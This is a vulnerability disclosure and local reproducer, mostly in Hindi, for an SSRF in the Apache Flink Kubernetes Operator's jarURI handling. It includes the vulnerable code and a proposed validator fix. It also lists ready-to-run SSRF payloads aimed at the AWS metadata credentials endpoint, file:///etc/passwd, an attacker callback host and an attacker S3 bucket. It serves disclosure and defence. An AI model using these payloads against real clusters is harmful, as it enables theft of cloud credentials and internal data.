
CVE-2026-40564: SSRF via FlinkSessionJob jarURI in apache/flink-kubernetes-operator. Self-contained reproducer that runs on a local kind cluster with one make command.
Apache Flink Kubernetes Operator FlinkSessionJob (या FlinkDeployment) संसाधनों पर spec.job.jarURI फ़ील्ड की जाँच नहीं करता है। जो कोई भी उन संसाधनों में से एक बना सकता है वह jarURI को किसी भी URL पर सेट कर सकता है। जब ऑपरेटर संसाधन को समेटता (reconcile) है, तो वह उस URL को अपने पॉड के अंदर से प्राप्त (fetch) करता है। स्कीम http, https, file, या फ्लिंक के साथ आने वाले किसी भी फाइलसिस्टम प्लगइन का हो सकता है, इसलिए अनुरोध ऑपरेटर पॉड जहाँ तक पहुँच सकता है, लगभग कहीं भी जा सकता है।
main (2026-04-09 तक 1.15-SNAPSHOT)[email protected] और [email protected] को 2026-04-09 को रिपोर्ट किया गयाSessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetchmake verify
यह पाँच चरणों को क्रम से चलाता है:
FlinkSessionJob लागू करें जिसका jarURI उस URL की ओर इंगित करता हैजब यह काम करता है, तो रन का अंत इस प्रकार दिखता है:
==> [5/5] verify-ssrf
target jarURI: https://webhook.site/<uuid>/exploit.jar
target is webhook.site, confirming via its REST API...
=== webhook.site captured requests (newest first) ===
2026-05-28 17:35:29 GET https://webhook.site/<uuid>/exploit.jar
User-Agent: Java/17.0.17
Source IP: 82.51.158.62
CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
Dashboard: https://webhook.site/#!/view/<uuid>
पहली बार चलने में लगभग 6 से 8 मिनट लगते हैं। इसका अधिकांश समय flink:1.17 इमेज को खींचने में लगता है, जो लगभग 700 MB है। बाद के रन लगभग 3 मिनट के करीब होते हैं।
docker, kind, kubectl 1.23 या नया, helm 3, make, curl, और jq। क्लस्टर को इंटरनेट तक पहुँचना होगा ताकि वह webhook.site से बात कर सके।
डिफ़ॉल्ट रूप से Makefile आपके लिए एक नया webhook.site URL प्राप्त करता है। अनुरोध को कहीं और भेजने के लिए, SSRF_URL को वांछित पूर्ण jarURI पर सेट करें। इसका उपयोग ज्यों का त्यों किया जाता है।
# एक विशिष्ट webhook.site URL का पुन: उपयोग करें
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar
# अपना स्वयं का सहयोगी (Burp, interactsh, एक netcat लिसनर, आदि)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar
# AWS इंस्टेंस मेटाडेटा सेवा
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# फ्लिंक के फाइलसिस्टम लेयर द्वारा संभाला गया एक गैर-http स्कीम
make verify SSRF_URL=file:///etc/passwd
जाँच कैसे परिणाम की पुष्टि करती है यह लक्ष्य पर निर्भर करता है। यदि URL webhook.site पर है, तो Makefile इसका REST API पढ़ता है और कैप्चर किए गए अनुरोधों को प्रिंट करता है। किसी और चीज़ के लिए यह ऑपरेटर लॉग पढ़ता है और HttpArtifactFetcher.fetch स्टैक फ्रेम की तलाश करता है, जो दर्शाता है कि फ़ेच चला था। WEBHOOK_URL भी काम करता है और इसका अर्थ SSRF_URL के समान है।
make cleanup
यह kind क्लस्टर को हटा देता है। कुछ भी पीछे नहीं छूटता।
तीन क्लासेज शामिल हैं, और उनमें से कोई भी jarURI में स्कीम, होस्ट या IP को नहीं देखता है।
DefaultValidator.validateJobSpec समानांतरता, अपग्रेड मोड, सेवपॉइंट सेटिंग्स और संसाधन आकार की जाँच करता है। यह कभी job.getJarURI() नहीं पढ़ता है:
private Optional<String> validateJobSpec(
JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
if (job == null) return Optional.empty();
Configuration configuration = Configuration.fromMap(confMap);
// ... parallelism / upgradeMode / savepoint / resource checks ...
// job.getJarURI() is never inspected.
return Optional.empty();
}
ArtifactManager.fetch स्कीम से एक फ़ेचर चुनता है। कोई अनुमति सूची (allowlist) नहीं है, और जो कुछ भी http या https नहीं है वह फ्लिंक के फाइलसिस्टम लेयर पर गिर जाता है:
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
URI uri = new URI(jarURI);
if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
} else {
return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
}
}
HttpArtifactFetcher.fetch URL को दिए अनुसार खोलता है। कोई होस्ट जाँच नहीं, कोई IP रेंज जाँच नहीं, और कुछ भी नहीं जो इसे लूपबैक या लिंक-लोकल पतों पर हिट करने से रोकता है:
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
URL url = new URL(uri);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
try (var inputStream = conn.getInputStream()) {
FileUtils.copyToFile(inputStream, targetFile);
}
return targetFile;
}
ऑपरेटर आमतौर पर व्यापक RBAC के साथ चलता है। आधिकारिक Helm चार्ट कई संसाधन प्रकारों पर * प्रदान करता है, जिसमें रहस्य (secrets) शामिल हैं, और पॉड सामान्यतः बिना किसी प्रतिबंध के नेटवर्क तक पहुँच सकता है। यदि आप इसे आपके लिए अनुरोध भेजने के लिए बना सकते हैं, तो आप यह कर सकते हैं:
FlinkSessionJob स्थिति में त्रुटि संदेश से परिणाम वापस पढ़ेंएक साझा क्लस्टर पर जहाँ कई टीमें एक ही ऑपरेटर का उपयोग करती हैं, उनमें से कोई भी इसका उपयोग किसी अन्य टीम के संसाधनों तक पहुँचने के लिए कर सकता है।
प्रतिलिपिकर्ता (reproducer) डिफ़ॉल्ट रूप से webhook.site का उपयोग करता है, लेकिन बग को इस बात से कोई फर्क नहीं पड़ता कि URL क्या है। SSRF_URL सेट करें, या manifests/vulnerable-sessionjob.yaml को इनमें से किसी में संपादित करें:
jarURI |
|---|
DefaultValidator.validateJobSpec में एक जाँच जोड़ें:
if (job.getJarURI() != null) {
Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
if (uriError.isPresent()) return uriError;
}
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
URI uri;
try {
uri = new URI(jarURI);
} catch (URISyntaxException e) {
return Optional.of("jarURI एक मान्य URI नहीं है: " + e.getMessage());
}
String scheme = uri.getScheme();
if (scheme == null) return Optional.of("jarURI में एक स्कीम शामिल होनी चाहिए");
Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
return Optional.of("jarURI स्कीम '" + scheme + "' अनुमति सूची में नहीं है");
}
if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
InetAddress addr;
try {
addr = InetAddress.getByName(uri.getHost());
} catch (UnknownHostException e) {
return Optional.of("jarURI होस्ट हल नहीं किया जा सकता");
}
if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
|| addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
return Optional.of("jarURI होस्ट एक प्रतिबंधित पते की ओर इंगित करता है");
}
}
return Optional.empty();
}
KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES को डिफ़ॉल्ट Set.of("https") दें। जिन ऑपरेटरों को s3 या किसी अन्य स्कीम की आवश्यकता है वे इसे जोड़ सकते हैं।
दो और चीजें करने लायक:
NetworkPolicy जोड़ें जो लिंक-लोकल (169.254.0.0/16), लूपबैक, और ज्ञात क्लाउड मेटाडेटा पतों पर आउटगोइंग को ब्लॉक करता है।Makefile दो चीजों के आसपास काम करता है जो Linux पर kind को तोड़ती हैं। प्रत्येक जाँच तभी चलती है जब समस्या वास्तव में मौजूद होती है, इसलिए इसे फिर से चलाना सुरक्षित है।
/etc/resolv.conf 127.0.0.1 की ओर इंगित करता है, इसलिए क्लस्टर बाहरी नामों को localhost पर हल करता है। cluster-up चरण CoreDNS कॉन्फ़िग को 1.1.1.1 और 8.8.8.8 पर फ़ॉरवर्ड करने के लिए फिर से लिखता है।ndots को 5 पर सेट करने पर, webhook.site जैसे नाम में पहले होस्ट खोज डोमेन जोड़े जाते हैं, और कुछ ISP उन उपडोमेन के लिए 127.0.0.1 का उत्तर देते हैं जिन्हें वे नहीं पहचानते। install-operator चरण ऑपरेटर पॉड को अपना स्वयं का dnsConfig देता है ताकि ऐसा न हो।यदि पूर्ण रन बीच में विफल हो जाता है, तो आप make verify-ssrf को स्वतंत्र रूप से चला सकते हैं। यह लाइव FlinkSessionJob से jarURI पढ़ता है, इसलिए यह स्थानीय रूप से सहेजी गई किसी भी चीज़ पर निर्भर नहीं करता है।
| तक पहुँचता है |
|---|
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> | AWS IMDSv1, ऑपरेटर पॉड के नोड के IAM क्रेडेंशियल्स |
http://10.0.0.1:6443/api | एक इन-क्लस्टर apiserver, या कोई भी आंतरिक एंडपॉइंट जो ऑपरेटर के IP को अनुमति देता है |
file:///etc/passwd | फाइलसिस्टम फेचर शाखा के माध्यम से ऑपरेटर पॉड का अपना फाइलसिस्टम |
s3://attacker-bucket/x.jar | S3, ऑपरेटर पॉड के क्रेडेंशियल्स का उपयोग करके |